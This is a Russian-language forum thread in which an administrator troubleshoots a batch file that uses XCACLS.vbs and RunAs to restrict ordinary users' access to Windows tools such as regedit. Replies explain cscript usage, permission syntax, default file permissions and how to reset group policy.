%windir%\System32\XCACLS.vbs "%WINDIR%\SYSTEM32\USRMGR.EXE"/G Administrators:F;F /Y
%windir%\System32\XCACLS.vbs "%WINDIR%\SYSTEM32\WINDISK.EXE"/G Administrators:F;F /Y
но при запуске появляется такое вот милое окошко
http://i058.radikal.ru/1003/51/17305629e25a.png
Как его запускать-то?
Пароль не будет отображаться в меру безопасности,чтоб не подглядели.Так что вводим пароль и не обращаем внимание,что ничего не вводится.
Да ввод будет осуществляться кириллицей(если windows локализован).Если это не устраивает,то использовать vbscript.
Батник про ограничение это полный бред и не понимание базовых основ.Для запуска добавить перед каждой строкой с vbs параметр cscript и сменить обработчик если не стоит cscript ,командой cscript //h:cscript
ЗлойФармер
29.03.2010, 05:31
Пароль не будет отображаться в меру безопасности,чтоб не подглядели.Так что вводим пароль и не обращаем внимание,что ничего не вводится.
Да ввод будет осуществляться кириллицей(если windows локализован).Если это не устраивает,то использовать vbscript.
Батник про ограничение это полный бред и не понимание базовых основ.Для запуска добавить перед каждой строкой с vbs параметр cscript и сменить обработчик если не стоит cscript ,командой cscript //h:cscript
На обычных учётках пароля нет, потому при просьбе ввести пароль просто нажимаю Enter. Однако батник после этого закрывается и ничего не происходит.
Батник про ограничения я взял с какой-то книжки по скриптам. Если есть какая нормальная литература, то прошу посоветовать к прочтению.
Добавил в этом батнике перед каждой строкой с vbs cscript //h:cscript, но теперь в окне после попытки выполнения каждой строки появляется
http://i018.radikal.ru/1003/be/bee3b83e234e.png
SpangeBoB
29.03.2010, 09:40
На обычных учётках пароля нет, потому при просьбе ввести пароль просто нажимаю Enter. Однако батник после этого закрывается и ничего не происходит.
Батник про ограничения я взял с какой-то книжки по скриптам. Если есть какая нормальная литература, то прошу посоветовать к прочтению.
Добавил в этом батнике перед каждой строкой с vbs cscript //h:cscript, но теперь в окне после попытки выполнения каждой строки появляется
http://i018.radikal.ru/1003/be/bee3b83e234e.png
RunAS работает только когда есть пароль у учетной записи.
Синтаксис у ключа G:
/G пользователь:разрешение;ос обое_разрешение
Разрешение: Этот параметр предназначен только для файлов и может принимать следующие значения. Разрешения... F — Полный доступ M — Изменение X — Чтение и выполнение R — Чтение W — Запись Особые разрешения... D — Смена владельца C — Смена разрешений B — Чтение разрешений A — Удаление 9 — Запись атрибутов 8 — Чтение атрибутов 7 — Удаление подпапок и файлов 6 — Обзор папок / Выполнение файлов 5 — Запись дополнительных атрибутов 4 — Чтение дополнительных атрибутов 3 — Создание папок / Дозапись данных 2 — Создание файлов / Запись данных 1 — Содержание папки / Чтение данных предназначены только для папок и подпапок и имеют те же варианты выбора, что и разрешения.
ЗлойФармер
29.03.2010, 12:33
С runas вроде разобрался, опера благополучно запустилась под пользователем.
А вот со вторым батником по-прежнему беда. Изменил, теперь строчки выглядят примерно так
cscript //h:cscript %windir%\System32\XCACLS.vbs "%WINDIR%\REGEDIT.EXE" /G Administrators:F;C
При запуске выводит следующее:
http://www.imagepost.ru/images/87/EApjQf5.png
Захожу другим пользователем (не администратором) - regedit успешно запускается.
SpangeBoB
29.03.2010, 12:54
Совершенно не пойму зачем пользователю запрещать regedit.exe и что он с ним сможет сделать.
Видимо xcacls не умеет производить замену,а в следствии повысить себе права.Сначала меняем Owner и уже производим бесполезные действия.
У меня на 7 права на regedit.exe
AccessToString :
NT AUTHORITY\система Allow ReadAndExecute, Synchronize
BUILTIN\Администраторы Allow ReadAndExecute, Synchronize
BUILTIN\Пользователи Allow ReadAndExecute, Synchronize
NT SERVICE\TrustedInstaller Allow FullControl
Owner : NT SERVICE\TrustedInstaller
Как можно восстановить умолчание в настройках gpedit.msc?
SpangeBoB
25.04.2010, 20:14
Как можно восстановить умолчание в настройках gpedit.msc?
http://support.microsoft.com/kb/313222
http://escapelogic.com/main/node/2
http://www.scribd.com/doc/14615661/Reset-Local-Group-Policy-to-Default-in-Windows-XP
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot